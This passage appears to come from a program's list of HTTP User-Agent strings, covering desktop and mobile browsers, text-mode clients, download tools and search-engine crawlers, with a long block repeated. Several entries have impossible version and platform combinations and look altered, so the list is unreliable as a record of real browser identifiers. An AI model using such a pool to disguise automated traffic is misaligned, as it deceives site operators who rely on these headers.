'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html) Gecko/2008032620',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) AddSugarSpiderBot www.idealobserver.com',
'Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)',
'Mozilla/4.0 (compatible; Arachmo)', 'Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)',
'Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)',
'BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)',
'Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)',
'Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)',
'Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)',
'Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable) AppleWebKit/420+ (KHTML, like Gecko)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/419 (KHTML, like Gecko, Safari/419.3) Cheshire/1.0.ALPHA',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1',
'Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)',
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A',
'Mozilla/5.0 (PLAYSTATION 3; 3.55)', 'Mozilla/5.0 (PLAYSTATION 3; 2.00)',
'Mozilla/5.0 (PLAYSTATION 3; 1.00)',
'Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0',
'Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)',
'SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)',
'Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57',
'Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0',
'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g',
'Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125',
'Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)',
'Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)',
'Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)',
'Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0',
'Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10',
'Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)',
'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)',
'Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)',
'Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)',
'Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16',
'Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)',
'Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7',
'BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0',
'Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)',
'Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)',
'Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)',
'Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10',
'Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)',
'Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007',
'BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)',
'Googlebot/2.1 (http://www.googlebot.com/bot.html)', 'Opera/9.20 (Windows NT 6.0; U; en)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)',
'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)',
'Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0',
'Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16',
'Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13',
'Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)',
'Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)',
'Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)', 'Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)',
'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
'AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)',
'Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)',
'Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)',
'Links (2.1pre15; FreeBSD 5.4-STABLE i386; 158x58)', 'Wget/1.8.2',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.0', 'Mediapartners-Google/2.1',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.5) Gecko/20031007 Firebird/0.7',
'Mozilla/4.04 [en] (WinNT; I)',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060205 Galeon/2.0.0 (Debian package 2.0.0-2)',
'lwp-trivial/1.41', 'NetBSD-ftp/20031210', 'Dillo/0.8.5-i18n-misc',
'Links (2.1pre20; NetBSD 2.1_STABLE i386; 145x54)',
'Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d',
'Lynx/2.8.5rel.3 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d',
'Links (2.1pre19; NetBSD 2.1_STABLE sparc64; 145x54)',
'Lynx/2.8.6dev.15 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d',
'Links (2.1pre14; IRIX64 6.5 IP27; 145x54)', 'Wget/1.10.1',
'ELinks/0.10.5 (textmode; FreeBSD 4.11-STABLE i386; 80x22-2)',
'Links (2.1pre20; FreeBSD 4.11-STABLE i386; 80x22)',
'Lynx/2.8.5rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d-p1', 'Opera/8.52 (X11; Linux i386; U; de)',
'Mozilla/5.0 (X11; U; NetBSD i386; en-US; rv:1.8.0.1) Gecko/20060310 Firefox/1.5.0.1',
'Mozilla/5.0 (X11; U; IRIX64 IP27; en-US; rv:1.4) Gecko/20030711',
'Mozilla/4.8 [en] (X11; U; IRIX64 6.5 IP27)', 'Mozilla/4.76 [en] (X11; U; SunOS 5.8 sun4m)',
'Opera/5.0 (SunOS 5.8 sun4m; U) [en]', 'Links (2.1pre15; SunOS 5.8 sun4m; 80x24)',
'Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7d', 'Wget/1.8.1', 'Wget/1.9.1',
'tnftp/20050625', 'Links (1.00pre12; Linux 2.6.14.2.20051115 i686; 80x24) (Debian pkg 0.99+1.00pre12-1)',
'Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 GNUTLS/1.0.16',
'Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.7) Gecko/20051122', 'Wget/1.7',
'Lynx/2.8.2rel.1 libwww-FM/2.14', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; de) Opera 8.53',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; InfoPath.1; .NET CLR 2.0.50727)',
'Mozilla/5.0 (Windows; U; Windows NT 5.2; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Lynx/2.8.5rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7e',
'Links (2.1pre20; SunOS 5.10 sun4u; 80x22)',
'Lynx/2.8.5rel.5 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7i',
'Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.8) Gecko/20060202 Firefox/1.5',
'Opera/8.51 (X11; Linux i386; U; de)', 'Emacs-W3/4.0pre.46 URL/p4.0pre.46 (i386--freebsd; X11)',
'Links (0.96; OpenBSD 3.0 sparc)', 'Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.6c',
'Lynx/2.8.3rel.1 libwww-FM/2.14',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)', 'libwww-perl/5.79',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; en) Opera 8.53',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.12) Gecko/20050919 Firefox/1.0.7',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)',
'msnbot/1.0 (+http://search.msn.com/msnbot.htm)', 'Googlebot/2.1 (+http://www.google.com/bot.html)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051008 Firefox/1.0.7',
'Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; en) Opera 8.51',
'Mozilla/5.0 (compatible; Konqueror/3.4; Linux) KHTML/3.4.3 (like Gecko)',
'Lynx/2.8.4rel.1 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.7c',
'Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)',
'Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)',
'Mozilla/4.8 [en] (Windows NT 5.1; U)', 'Opera/8.51 (Windows NT 5.1; U; en)',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', 'Opera/8.51 (Windows NT 5.1; U; en;VWP-online.de)',
'sproose/0.1-alpha (sproose crawler; http://www.sproose.com/bot.html; crawler@sproose.com)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.1) Gecko/20060130 SeaMonkey/1.0,gzip(gfe) (via translate.google.com)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1',
'BrowserEmulator/0.9 see http://dejavu.org',
'Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)',
'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; Win 9x 4.90)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508',
'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/125.2 (KHTML, like Gecko)',
'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.4) Gecko/20030624',
'iCCrawler (http://www.iccenter.net/bot.htm)',
'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; Maxthon; .NET CLR 1.1.4322)',
'Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.7.12) Gecko/20051013 Debian/1.7.12-1ubuntu1',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8) Gecko/20051111 Firefox/1.5',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)',
'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3',
'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.50',
